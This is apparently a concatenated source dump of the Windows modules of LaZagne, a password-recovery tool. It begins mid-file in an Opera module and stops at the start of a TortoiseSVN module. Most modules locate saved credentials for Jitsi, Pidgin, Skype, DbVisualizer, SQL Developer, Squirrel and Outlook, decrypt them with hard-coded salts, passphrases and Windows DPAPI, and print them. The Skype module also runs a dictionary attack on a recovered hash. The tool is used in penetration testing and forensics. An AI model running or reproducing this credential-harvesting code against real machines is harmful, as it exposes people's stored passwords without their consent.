password in passwords: 186 | 187 | # date (begin of the sensitive data) 188 | match=re.search(r'(\d+-\d+-\d+)', password) 189 | if match: 190 | values = {} 191 | cpt = 0 192 | tmp_cpt = 0 193 | 194 | # after finding 2 urls 195 | if cpt == 2: 196 | tmp_cpt += 1 197 | if tmp_cpt == 2: 198 | values['User'] = password 199 | print 'User:' + password 200 | elif tmp_cpt == 4: 201 | values['Password'] = password 202 | 203 | # url 204 | match=re.search(r'^http', password) 205 | if match: 206 | cpt +=1 207 | if cpt == 1: 208 | tmp_url = password 209 | elif cpt == 2: 210 | values['URL'] = tmp_url 211 | pwdFound.append(values) 212 | 213 | # print the results 214 | print_output("Opera", pwdFound) 215 | 216 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/chats/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/chats/__init__.py -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/chats/jitsi.py: -------------------------------------------------------------------------------- 1 | import hashlib, os, re 2 | from base64 import b64decode 3 | import binascii, array 4 | from Crypto.Cipher import AES 5 | from config.constant import * 6 | from config.write_output import print_output, print_debug 7 | from config.header import Header 8 | from config.moduleInfo import ModuleInfo 9 | 10 | # From https://github.com/mitsuhiko/python-pbkdf2 11 | from pbkdf2 import pbkdf2_bin 12 | 13 | class Jitsi(ModuleInfo): 14 | def __init__(self): 15 | options = {'command': '-j', 'action': 'store_true', 'dest': 'jitsi', 'help': 'jitsi'} 16 | suboptions = [{'command': '-ma', 'action': 'store', 'dest': 'master_pwd', 'help': 'enter the master password manually', 'title': 'Advanced jitsi option'}] 17 | ModuleInfo.__init__(self, 'jitsi', 'chats', options, suboptions) 18 | 19 | self.keylen = 16 20 | self.iterations = 1024 21 | self.padding = '\f' 22 | self.account_id = '' 23 | self.master_password_used = False 24 | self.masterpass = ' ' 25 | 26 | def get_salt(self): 27 | salt_array = [12, 10, 15, 14, 11, 14, 14, 15] 28 | salt = array.array('b', salt_array) 29 | hexsalt = binascii.hexlify(salt) 30 | return binascii.unhexlify(hexsalt) 31 | 32 | def get_path(self): 33 | if 'APPDATA' in os.environ: 34 | directory = os.environ.get('APPDATA') + os.sep + 'Jitsi' + os.sep + 'sip-communicator.properties' 35 | if os.path.exists(directory): 36 | return directory 37 | else: 38 | return 'JITSI_NOT_EXISTS' 39 | else: 40 | return 'Error' 41 | 42 | def get_info(self, file_properties): 43 | values = {} 44 | 45 | f = open(file_properties,'r') 46 | line = f.readline() 47 | 48 | cpt = 0 49 | pwdFound = [] 50 | while line: 51 | if 'ACCOUNT_UID' in line: 52 | m = re.match(r"(.*)ACCOUNT_UID=(.*$)",line) 53 | if m: 54 | # password found 55 | if cpt > 0: 56 | pwdFound.append(values) 57 | cpt = 0 58 | 59 | values = {} 60 | values['Account id'] = m.group(2) 61 | cpt += 1 62 | 63 | if 'ENCRYPTED_PASSWORD' in line: 64 | m = re.match(r"(.*)ENCRYPTED_PASSWORD=(.*$)",line) 65 | if m: 66 | values['Password'] = self.decrypt_password(m.group(2)) 67 | cpt += 2 68 | 69 | if 'credentialsstorage.MASTER' in line: 70 | m = re.match(r"(.*)credentialsstorage.MASTER=(.*$)",line) 71 | if m: 72 | values['Masterpass used'] = True 73 | self.master_password_used = True 74 | 75 | line = f.readline() 76 | 77 | if len(values) != 0: 78 | pwdFound.append(values) 79 | 80 | # print the results 81 | print_output('Jitsi', pwdFound) 82 | f.close() 83 | 84 | def decrypt_password(self, encrypted_pass): 85 | salt = self.get_salt() 86 | 87 | if self.master_password_used and constant.jitsi_masterpass: 88 | self.masterpass = constant.jitsi_masterpass 89 | elif self.master_password_used and not constant.jitsi_masterpass: 90 | return '\n[!] A master password is used, the password cannot be decrypted. Provide a masterpassword using the -ma option' 91 | 92 | # --- Decrypting the password --- 93 | # generate hash 94 | secret = pbkdf2_bin(bytes(self.masterpass), salt, self.iterations, self.keylen, hashfunc=hashlib.sha1) 95 | 96 | # decrypt password 97 | cipher = AES.new(secret) 98 | plaintext = cipher.decrypt(b64decode(encrypted_pass)).rstrip(self.padding) 99 | 100 | return plaintext.strip() 101 | 102 | # main function 103 | def run(self): 104 | # print title 105 | Header().title_info('Jitsi') 106 | 107 | file_properties = self.get_path() 108 | if file_properties == 'Error': 109 | print_debug('ERROR', 'The APPDATA environment variable is not defined') 110 | 111 | elif file_properties == 'JITSI_NOT_EXISTS': 112 | print_debug('INFO', 'Jitsi not installed.') 113 | 114 | else: 115 | self.get_info(file_properties) 116 | 117 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/chats/pbkdf2.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | pbkdf2 4 | ~~~~~~ 5 | 6 | This module implements pbkdf2 for Python. It also has some basic 7 | tests that ensure that it works. The implementation is straightforward 8 | and uses stdlib only stuff and can be easily be copy/pasted into 9 | your favourite application. 10 | 11 | Use this as replacement for bcrypt that does not need a c implementation 12 | of a modified blowfish crypto algo. 13 | 14 | Example usage: 15 | 16 | >>> pbkdf2_hex('what i want to hash', 'the random salt') 17 | 'fa7cc8a2b0a932f8e6ea42f9787e9d36e592e0c222ada6a9' 18 | 19 | How to use this: 20 | 21 | 1. Use a constant time string compare function to compare the stored hash 22 | with the one you're generating:: 23 | 24 | def safe_str_cmp(a, b): 25 | if len(a) != len(b): 26 | return False 27 | rv = 0 28 | for x, y in izip(a, b): 29 | rv |= ord(x) ^ ord(y) 30 | return rv == 0 31 | 32 | 2. Use `os.urandom` to generate a proper salt of at least 8 byte. 33 | Use a unique salt per hashed password. 34 | 35 | 3. Store ``algorithm$salt:costfactor$hash`` in the database so that 36 | you can upgrade later easily to a different algorithm if you need 37 | one. For instance ``PBKDF2-256$thesalt:10000$deadbeef...``. 38 | 39 | 40 | :copyright: (c) Copyright 2011 by Armin Ronacher. 41 | :license: BSD, see LICENSE for more details. 42 | """ 43 | import hmac 44 | import hashlib 45 | from struct import Struct 46 | from operator import xor 47 | from itertools import izip, starmap 48 | 49 | 50 | _pack_int = Struct('>I').pack 51 | 52 | 53 | def pbkdf2_hex(data, salt, iterations=1000, keylen=24, hashfunc=None): 54 | """Like :func:`pbkdf2_bin` but returns a hex encoded string.""" 55 | return pbkdf2_bin(data, salt, iterations, keylen, hashfunc).encode('hex') 56 | 57 | 58 | def pbkdf2_bin(data, salt, iterations=1000, keylen=24, hashfunc=None): 59 | """Returns a binary digest for the PBKDF2 hash algorithm of `data` 60 | with the given `salt`. It iterates `iterations` time and produces a 61 | key of `keylen` bytes. By default SHA-1 is used as hash function, 62 | a different hashlib `hashfunc` can be provided. 63 | """ 64 | hashfunc = hashfunc or hashlib.sha1 65 | mac = hmac.new(data, None, hashfunc) 66 | def _pseudorandom(x, mac=mac): 67 | h = mac.copy() 68 | h.update(x) 69 | return map(ord, h.digest()) 70 | buf = [] 71 | for block in xrange(1, -(-keylen // mac.digest_size) + 1): 72 | rv = u = _pseudorandom(salt + _pack_int(block)) 73 | for i in xrange(iterations - 1): 74 | u = _pseudorandom(''.join(map(chr, u))) 75 | rv = starmap(xor, izip(rv, u)) 76 | buf.extend(rv) 77 | return ''.join(map(chr, buf))[:keylen] 78 | 79 | 80 | def test(): 81 | failed = [] 82 | def check(data, salt, iterations, keylen, expected): 83 | rv = pbkdf2_hex(data, salt, iterations, keylen) 84 | if rv != expected: 85 | print 'Test failed:' 86 | print ' Expected: %s' % expected 87 | print ' Got: %s' % rv 88 | print ' Parameters:' 89 | print ' data=%s' % data 90 | print ' salt=%s' % salt 91 | print ' iterations=%d' % iterations 92 | print 93 | failed.append(1) 94 | 95 | # From RFC 6070 96 | check('password', 'salt', 1, 20, 97 | '0c60c80f961f0e71f3a9b524af6012062fe037a6') 98 | check('password', 'salt', 2, 20, 99 | 'ea6c014dc72d6f8ccd1ed92ace1d41f0d8de8957') 100 | check('password', 'salt', 4096, 20, 101 | '4b007901b765489abead49d926f721d065a429c1') 102 | check('passwordPASSWORDpassword', 'saltSALTsaltSALTsaltSALTsaltSALTsalt', 103 | 4096, 25, '3d2eec4fe41c849b80c8d83662c0e44a8b291a964cf2f07038') 104 | check('pass\x00word', 'sa\x00lt', 4096, 16, 105 | '56fa6aa75548099dcc37d7f03425e0c3') 106 | # This one is from the RFC but it just takes for ages 107 | ##check('password', 'salt', 16777216, 20, 108 | ## 'eefe3d61cd4da4e4e9945b3d6ba2158c2634e984') 109 | 110 | # From Crypt-PBKDF2 111 | check('password', 'ATHENA.MIT.EDUraeburn', 1, 16, 112 | 'cdedb5281bb2f801565a1122b2563515') 113 | check('password', 'ATHENA.MIT.EDUraeburn', 1, 32, 114 | 'cdedb5281bb2f801565a1122b25635150ad1f7a04bb9f3a333ecc0e2e1f70837') 115 | check('password', 'ATHENA.MIT.EDUraeburn', 2, 16, 116 | '01dbee7f4a9e243e988b62c73cda935d') 117 | check('password', 'ATHENA.MIT.EDUraeburn', 2, 32, 118 | '01dbee7f4a9e243e988b62c73cda935da05378b93244ec8f48a99e61ad799d86') 119 | check('password', 'ATHENA.MIT.EDUraeburn', 1200, 32, 120 | '5c08eb61fdf71e4e4ec3cf6ba1f5512ba7e52ddbc5e5142f708a31e2e62b1e13') 121 | check('X' * 64, 'pass phrase equals block size', 1200, 32, 122 | '139c30c0966bc32ba55fdbf212530ac9c5ec59f1a452f5cc9ad940fea0598ed1') 123 | check('X' * 65, 'pass phrase exceeds block size', 1200, 32, 124 | '9ccad6d468770cd51b10e6a68721be611a8b4d282601db3b36be9246915ec82a') 125 | 126 | raise SystemExit(bool(failed)) 127 | 128 | 129 | if __name__ == '__main__': 130 | test() 131 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/chats/pidgin.py: -------------------------------------------------------------------------------- 1 | import xml.etree.cElementTree as ET 2 | import os 3 | from config.constant import * 4 | from config.write_output import print_output, print_debug 5 | from config.header import Header 6 | from config.moduleInfo import ModuleInfo 7 | 8 | class Pidgin(ModuleInfo): 9 | def __init__(self): 10 | options = {'command': '-p', 'action': 'store_true', 'dest': 'pidgin', 'help': 'pidgin'} 11 | ModuleInfo.__init__(self, 'pidgin', 'chats', options) 12 | 13 | def run(self): 14 | # print title 15 | Header().title_info('Pidgin') 16 | 17 | if 'APPDATA' in os.environ: 18 | directory = os.environ['APPDATA'] + '\.purple' 19 | path = os.path.join(directory, 'accounts.xml') 20 | else: 21 | print_debug('ERROR', 'The APPDATA environment variable is not defined.') 22 | return 23 | 24 | if os.path.exists(path): 25 | tree = ET.ElementTree(file=path) 26 | 27 | root = tree.getroot() 28 | accounts = root.getchildren() 29 | pwdFound = [] 30 | for a in accounts: 31 | values = {} 32 | aa = a.getchildren() 33 | noPass = True 34 | 35 | for tag in aa: 36 | cpt = 0 37 | if tag.tag == 'name': 38 | cpt = 1 39 | values['Login'] = tag.text 40 | 41 | if tag.tag == 'password': 42 | values['Password'] = tag.text 43 | noPass = False 44 | 45 | if noPass == False: 46 | pwdFound.append(values) 47 | 48 | # print the results 49 | print_output("Pidgin", pwdFound) 50 | else: 51 | print_debug('INFO', 'Pidgin not installed.') 52 | 53 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/chats/skype.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | import xml.etree.cElementTree as ET 3 | import win32con, win32api, win32crypt 4 | import base64, hashlib, os 5 | import binascii, struct 6 | from config.constant import * 7 | from config.write_output import print_output, print_debug 8 | from config.header import Header 9 | from config.moduleInfo import ModuleInfo 10 | from config.dico import get_dico 11 | 12 | class Skype(ModuleInfo): 13 | def __init__(self): 14 | options = {'command': '-s', 'action': 'store_true', 'dest': 'skype', 'help': 'skype'} 15 | ModuleInfo.__init__(self, 'skype', 'chats', options) 16 | 17 | def aes_encrypt(self, message, passphrase): 18 | IV = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 19 | aes = AES.new(passphrase, AES.MODE_CBC, IV) 20 | return aes.encrypt(message) 21 | 22 | # get value used to build the salt 23 | def get_regkey(self): 24 | try: 25 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 26 | keyPath = 'Software\\Skype\\ProtectedStorage' 27 | 28 | try: 29 | hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead) 30 | except Exception,e: 31 | print_debug('DEBUG', '{0}'.format(e)) 32 | return '' 33 | 34 | num = win32api.RegQueryInfoKey(hkey)[1] 35 | k = win32api.RegEnumValue(hkey, 0) 36 | 37 | if k: 38 | key = k[1] 39 | return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] 40 | except Exception,e: 41 | print_debug('DEBUG', '{0}'.format(e)) 42 | return 'failed' 43 | 44 | # get hash from configuration file 45 | def get_hash_credential(self, xml_file): 46 | tree = ET.ElementTree(file=xml_file) 47 | encrypted_hash = tree.find('Lib/Account/Credentials3') 48 | 49 | if encrypted_hash != None: 50 | return encrypted_hash.text 51 | else: 52 | return 'failed' 53 | 54 | # decrypt hash to get the md5 to bruteforce 55 | def get_md5_hash(self, enc_hex, key): 56 | # convert hash from hex to binary 57 | enc_binary = binascii.unhexlify(enc_hex) 58 | 59 | # retrieve the salt 60 | salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest() 61 | 62 | # encrypt value used with the XOR operation 63 | aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16] 64 | 65 | # XOR operation 66 | decrypted = [] 67 | for d in range(16): 68 | decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0]) 69 | 70 | # cast the result byte 71 | tmp = '' 72 | for dec in decrypted: 73 | tmp = tmp + struct.pack(">I", dec).strip('\x00') 74 | 75 | # byte to hex 76 | return binascii.hexlify(tmp) 77 | 78 | def dictionary_attack(self, login, md5): 79 | wordlist = get_dico() 80 | for word in wordlist: 81 | hash = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest() 82 | if hash == md5: 83 | return word 84 | return False 85 | 86 | # main function 87 | def run(self): 88 | # print title 89 | Header().title_info('Skype') 90 | 91 | if 'APPDATA' in os.environ: 92 | directory = os.environ['APPDATA'] + '\Skype' 93 | 94 | if os.path.exists(directory): 95 | # retrieve the key used to build the salt 96 | key = self.get_regkey() 97 | if key == 'failed': 98 | print_debug('ERROR', 'The salt has not been retrieved') 99 | else: 100 | pwdFound = [] 101 | for d in os.listdir(directory): 102 | if os.path.exists(directory + os.sep + d + os.sep + 'config.xml'): 103 | values = {} 104 | 105 | try: 106 | values['username'] = d 107 | 108 | # get encrypted hash from the config file 109 | enc_hex = self.get_hash_credential(directory + os.sep + d + os.sep + 'config.xml') 110 | 111 | if enc_hex == 'failed': 112 | print_debug('WARNING', 'No credential stored on the config.xml file.') 113 | else: 114 | # decrypt the hash to get the md5 to brue force 115 | values['hash_md5'] = self.get_md5_hash(enc_hex, key) 116 | values['shema to bruteforce'] = values['username'] + '\\nskyper\\n' 117 | 118 | # Try a dictionary attack on the hash 119 | password = self.dictionary_attack(values['username'], values['hash_md5']) 120 | if password: 121 | values['password'] = password 122 | 123 | pwdFound.append(values) 124 | except Exception,e: 125 | print_debug('DEBUG', '{0}'.format(e)) 126 | # print the results 127 | print_output("Skype", pwdFound) 128 | else: 129 | print_debug('INFO', 'Skype not installed.') 130 | else: 131 | print_debug('ERROR', 'The APPDATA environment variable is not defined.') 132 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/databases/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/databases/__init__.py -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/databases/dbvis.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import MD5 2 | from Crypto.Cipher import DES 3 | import binascii, array, hashlib 4 | import base64, re, os 5 | import xml.etree.cElementTree as ET 6 | 7 | from config.write_output import print_output, print_debug 8 | from config.constant import * 9 | from config.header import Header 10 | from config.moduleInfo import ModuleInfo 11 | 12 | class Dbvisualizer(ModuleInfo): 13 | def __init__(self): 14 | options = {'command': '-d', 'action': 'store_true', 'dest': 'dbvis', 'help': 'dbvisualizer'} 15 | ModuleInfo.__init__(self, 'dbvis', 'database', options) 16 | 17 | # ---- functions used to decrypt the password ---- 18 | def get_salt(self): 19 | salt_array = [-114,18,57,-100,7,114,111,90] 20 | salt = array.array('b', salt_array) 21 | hexsalt = binascii.hexlify(salt) 22 | return binascii.unhexlify(hexsalt) 23 | 24 | def get_iteration(self): 25 | return 10 26 | 27 | def get_derived_key(self, password, salt, count): 28 | key = bytearray(password) + salt 29 | 30 | for i in range(count): 31 | m = hashlib.md5(key) 32 | key = m.digest() 33 | return (key[:8], key[8:]) 34 | 35 | def decrypt(self, salt, msg, password): 36 | enc_text = base64.b64decode(msg) 37 | 38 | (dk, iv) = self.get_derived_key(password, salt, self.get_iteration()) 39 | crypter = DES.new(dk, DES.MODE_CBC, iv) 40 | text = crypter.decrypt(enc_text) 41 | return re.sub(r'[\x01-\x08]','',text) 42 | 43 | def get_passphrase(self): 44 | return 'qinda' 45 | 46 | # ---- end of the functions block ---- 47 | 48 | def get_infos(self, path, passphrase, salt): 49 | xml_file = path + os.sep + 'config70/dbvis.xml' 50 | 51 | if os.path.exists(xml_file): 52 | tree = ET.ElementTree(file=xml_file) 53 | 54 | pwdFound = [] 55 | for e in tree.findall('Databases/Database'): 56 | values = {} 57 | try: 58 | values['Connection Name'] = e.find('Alias').text 59 | except: 60 | pass 61 | 62 | try: 63 | values['Userid'] = e.find('Userid').text 64 | except: 65 | pass 66 | 67 | try: 68 | ciphered_password = e.find('Password').text 69 | try: 70 | password = self.decrypt(salt, ciphered_password, passphrase) 71 | values['Password'] = password 72 | passwordFound = True 73 | except: 74 | pass 75 | except: 76 | pass 77 | 78 | try: 79 | values['Driver'] = e.find('UrlVariables//Driver').text.strip() 80 | except: 81 | pass 82 | 83 | try: 84 | elem = e.find('UrlVariables') 85 | for ee in elem.getchildren(): 86 | for ele in ee.getchildren(): 87 | if 'Server' == ele.attrib['UrlVariableName']: 88 | values['Server'] = str(ele.text) 89 | if 'Port' == ele.attrib['UrlVariableName']: 90 | values['Port'] = str(ele.text) 91 | if 'SID' == ele.attrib['UrlVariableName']: 92 | values['SID'] = str(ele.text) 93 | except: 94 | pass 95 | 96 | if len(values) > 0: 97 | pwdFound.append(values) 98 | 99 | # print the results 100 | print_output("DbVisualizer", pwdFound) 101 | 102 | def get_mainPath(self): 103 | if 'HOMEPATH' in os.environ: 104 | path = os.environ['HOMEPATH'] + os.sep + '.dbvis' 105 | if os.path.exists(path): 106 | return path 107 | else: 108 | return 'DBVIS_NOT_EXISTS' 109 | else: 110 | return 'var_Env_Not_Found' 111 | 112 | def run(self): 113 | # print title 114 | Header().title_info('Dbvisualizer') 115 | 116 | mainPath = self.get_mainPath() 117 | 118 | if mainPath == 'DBVIS_NOT_EXISTS': 119 | print_debug('INFO', 'Dbvisualizer not installed.') 120 | 121 | elif mainPath == 'var_Env_Not_Found': 122 | print_debug('ERROR', 'The HOMEPATH environment variable is not defined.') 123 | 124 | else: 125 | passphrase = self.get_passphrase() 126 | 127 | salt = self.get_salt() 128 | self.get_infos(mainPath, passphrase, salt) 129 | 130 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/databases/sqldeveloper.py: -------------------------------------------------------------------------------- 1 | import binascii, base64, array 2 | from Crypto.Cipher import DES 3 | import hashlib, re, os 4 | import xml.etree.cElementTree as ET 5 | from config.constant import * 6 | from config.write_output import print_output, print_debug 7 | from config.header import Header 8 | from config.moduleInfo import ModuleInfo 9 | 10 | class SQLDeveloper(ModuleInfo): 11 | def __init__(self): 12 | options = {'command': '-s', 'action': 'store_true', 'dest': 'sqldeveloper', 'help': 'sqldeveloper'} 13 | ModuleInfo.__init__(self, 'sqldeveloper', 'database', options) 14 | 15 | def get_salt(self): 16 | salt_array = [5, 19, -103, 66, -109, 114, -24, -83] 17 | salt = array.array('b', salt_array) 18 | hexsalt = binascii.hexlify(salt) 19 | return binascii.unhexlify(hexsalt) 20 | 21 | def get_iteration(self): 22 | return 42 23 | 24 | def get_derived_key(self, password, salt, count): 25 | key = bytearray(password) + salt 26 | for i in range(count): 27 | m = hashlib.md5(key) 28 | key = m.digest() 29 | return (key[:8], key[8:]) 30 | 31 | def decrypt(self, salt, msg, password): 32 | enc_text = base64.b64decode(msg) 33 | (dk, iv) = self.get_derived_key(password, salt, self.get_iteration()) 34 | crypter = DES.new(dk, DES.MODE_CBC, iv) 35 | text = crypter.decrypt(enc_text) 36 | return re.sub(r'[\x01-\x08]','',text) 37 | 38 | def get_mainPath(self): 39 | if 'APPDATA' in os.environ: 40 | directory = os.environ.get('APPDATA') + os.sep + 'SQL Developer' 41 | if os.path.exists(directory): 42 | for d in os.listdir(directory): 43 | if d.startswith('system'): 44 | directory += os.sep + d 45 | return directory 46 | return 'SQL_NO_PASSWD' 47 | else: 48 | return 'SQL_NOT_EXISTS' 49 | else: 50 | return 'Error' 51 | 52 | def get_passphrase(self, path): 53 | for p in os.listdir(path): 54 | if p.startswith('o.sqldeveloper.12'): 55 | path += os.sep + p 56 | break 57 | 58 | xml_file = path + os.sep + 'product-preferences.xml' 59 | if os.path.exists(xml_file): 60 | tree = ET.ElementTree(file=xml_file) 61 | for elem in tree.iter(): 62 | if 'n' in elem.attrib.keys(): 63 | if elem.attrib['n'] == 'db.system.id': 64 | return elem.attrib['v'] 65 | return 'Not_Found' 66 | else: 67 | return 'xml_Not_Found' 68 | 69 | def get_infos(self, path, passphrase, salt): 70 | for p in os.listdir(path): 71 | if p.startswith('o.jdeveloper.db.connection'): 72 | path += os.sep + p 73 | break 74 | 75 | xml_file = path + os.sep + 'connections.xml' 76 | 77 | if os.path.exists(xml_file): 78 | tree = ET.ElementTree(file=xml_file) 79 | pwdFound = [] 80 | values = {} 81 | for elem in tree.iter(): 82 | if 'addrType' in elem.attrib.keys(): 83 | if elem.attrib['addrType'] == 'sid': 84 | for e in elem.getchildren(): 85 | values['sid'] = e.text 86 | 87 | elif elem.attrib['addrType'] == 'port': 88 | for e in elem.getchildren(): 89 | values['port'] = e.text 90 | 91 | elif elem.attrib['addrType'] == 'user': 92 | for e in elem.getchildren(): 93 | values['user'] = e.text 94 | 95 | elif elem.attrib['addrType'] == 'ConnName': 96 | for e in elem.getchildren(): 97 | values['Connection Name'] = e.text 98 | 99 | elif elem.attrib['addrType'] == 'customUrl': 100 | for e in elem.getchildren(): 101 | values['custom Url'] = e.text 102 | 103 | elif elem.attrib['addrType'] == 'SavePassword': 104 | for e in elem.getchildren(): 105 | values['SavePassword'] = e.text 106 | 107 | elif elem.attrib['addrType'] == 'hostname': 108 | for e in elem.getchildren(): 109 | values['hostname'] = e.text 110 | 111 | elif elem.attrib['addrType'] == 'password': 112 | for e in elem.getchildren(): 113 | pwd = self.decrypt(salt, e.text, passphrase) 114 | values['password'] = pwd 115 | 116 | elif elem.attrib['addrType'] == 'driver': 117 | for e in elem.getchildren(): 118 | values['driver'] = e.text 119 | 120 | # password found 121 | pwdFound.append(values) 122 | 123 | # print the results 124 | print_output("SQL Developer", pwdFound) 125 | else: 126 | print_debug('ERROR', 'The xml file connections.xml containing the passwords has not been found.') 127 | 128 | def run(self): 129 | # print title 130 | Header().title_info('SQL Developer') 131 | 132 | mainPath = self.get_mainPath() 133 | if mainPath == 'Error': 134 | print_debug('ERROR', 'The APPDATA environment variable is not defined.') 135 | 136 | elif mainPath == 'SQL_NOT_EXISTS': 137 | print_debug('INFO','SQL Developer not installed.') 138 | 139 | elif mainPath == 'SQL_NO_PASSWD': 140 | print_debug('INFO', 'No passwords found.') 141 | 142 | else: 143 | passphrase = self.get_passphrase(mainPath) 144 | if passphrase == 'Not_Found': 145 | print_debug('WARNING', 'The passphrase used to encrypt has not been found.') 146 | 147 | elif passphrase == 'xml_Not_Found': 148 | print_debug('WARNING', 'The xml file containing the passphrase has not been found.') 149 | 150 | else: 151 | salt = self.get_salt() 152 | self.get_infos(mainPath, passphrase, salt) 153 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/databases/squirrel.py: -------------------------------------------------------------------------------- 1 | import xml.etree.cElementTree as ET 2 | import os 3 | from config.write_output import print_output, print_debug 4 | from config.constant import * 5 | from config.header import Header 6 | from config.moduleInfo import ModuleInfo 7 | 8 | class Squirrel(ModuleInfo): 9 | def __init__(self): 10 | options = {'command': '-q', 'action': 'store_true', 'dest': 'squirrel', 'help': 'squirrel'} 11 | ModuleInfo.__init__(self, 'squirrel', 'database', options) 12 | 13 | def get_path(self): 14 | if 'HOMEPATH' in os.environ: 15 | path = os.environ['HOMEPATH'] + os.sep + '.squirrel-sql' 16 | if os.path.exists(path): 17 | return path 18 | else: 19 | return 'Not_Found' 20 | else: 21 | return 'var_Env_Not_Found' 22 | 23 | def parse_xml(self, xml_file): 24 | tree = ET.ElementTree(file=xml_file) 25 | pwdFound = [] 26 | for elem in tree.iter('Bean'): 27 | values = {} 28 | for e in elem: 29 | if e.tag == 'name': 30 | values['name'] = e.text 31 | 32 | elif e.tag == 'url': 33 | values['url'] = e.text 34 | 35 | elif e.tag == 'userName': 36 | values['userName'] = e.text 37 | 38 | elif e.tag == 'password': 39 | values['password'] = e.text 40 | 41 | if len(values): 42 | pwdFound.append(values) 43 | 44 | # print the results 45 | print_output("Squirrel", pwdFound) 46 | 47 | # Main function 48 | def run(self): 49 | # print title 50 | Header().title_info('Squirrel') 51 | 52 | path = self.get_path() 53 | if path == 'Not_Found': 54 | print_debug('INFO', 'Squirrel not installed') 55 | elif path == 'var_Env_Not_Found': 56 | print_debug('ERROR', 'The HOMEPATH environment variable is not defined.') 57 | else: 58 | path += os.sep + 'SQLAliases23.xml' 59 | if os.path.exists(path): 60 | self.parse_xml(path) 61 | else: 62 | print_debug('WARNING', 'xml fil SQLAliases23.xml containing passwords has not be found') 63 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/mails/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/mails/__init__.py -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/mails/outlook.py: -------------------------------------------------------------------------------- 1 | import win32api, win32con, win32crypt 2 | from config.write_output import print_output, print_debug 3 | from config.constant import * 4 | from config.header import Header 5 | from config.moduleInfo import ModuleInfo 6 | 7 | class Outlook(ModuleInfo): 8 | def __init__(self): 9 | options = {'command': '-o', 'action': 'store_true', 'dest': 'outlook', 'help': 'outlook - IMAP, POP3, HTTP, SMTP, LDPAP (not Exchange)'} 10 | ModuleInfo.__init__(self, 'outlook', 'mails', options) 11 | 12 | def run(self): 13 | # print title 14 | Header().title_info('Outlook') 15 | 16 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 17 | keyPath = 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook' 18 | 19 | try: 20 | hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead) 21 | except Exception,e: 22 | print_debug('DEBUG', '{0}'.format(e)) 23 | print_debug('WARNING', 'Outlook not installed.\nAn error occurs retrieving the registry key.\nKey = %s' % keyPath) 24 | return 25 | 26 | num = win32api.RegQueryInfoKey(hkey)[0] 27 | pwdFound = [] 28 | for x in range(0, num): 29 | name = win32api.RegEnumKey(hkey, x) 30 | skey = win32api.RegOpenKey(hkey, name, 0, accessRead) 31 | 32 | num_skey = win32api.RegQueryInfoKey(skey)[0] 33 | if num_skey != 0: 34 | for y in range(0, num_skey): 35 | name_skey = win32api.RegEnumKey(skey, y) 36 | sskey = win32api.RegOpenKey(skey, name_skey, 0, accessRead) 37 | num_sskey = win32api.RegQueryInfoKey(sskey)[1] 38 | for z in range(0, num_sskey): 39 | k = win32api.RegEnumValue(sskey, z) 40 | if 'password' in k[0].lower(): 41 | values = self.retrieve_info(sskey, name_skey) 42 | # write credentials into a text file 43 | if len(values) != 0: 44 | pwdFound.append(values) 45 | 46 | # print the results 47 | print_output("Outlook", pwdFound) 48 | 49 | def retrieve_info(self, hkey, name_key): 50 | values = {} 51 | num = win32api.RegQueryInfoKey(hkey)[1] 52 | for x in range(0, num): 53 | k = win32api.RegEnumValue(hkey, x) 54 | if 'password' in k[0].lower(): 55 | try: 56 | password = win32crypt.CryptUnprotectData(k[1][1:], None, None, None, 0)[1] 57 | values[k[0]] = password.decode('utf16') 58 | except Exception,e: 59 | print_debug('DEBUG', '{0}'.format(e)) 60 | values[k[0]] = 'N/A' 61 | else: 62 | try: 63 | values[k[0]] = str(k[1]).decode('utf16') 64 | except: 65 | values[k[0]] = str(k[1]) 66 | return values 67 | 68 | 69 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/svn/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/svn/__init__.py -------------------------------------------------------------------------------- /Windows/src/LaZagne/softwares/svn/tortoise.py: -------------------------------------------------------------------------------- 1 | import sqlite3, win32crypt 2 | import sys, os, platform, base64 3 | from config.write_output import print_output, print_debug 4 | from config.constant import * 5 | from config.header import Header 6 | from config.moduleInfo import ModuleInfo 7 | 8 | 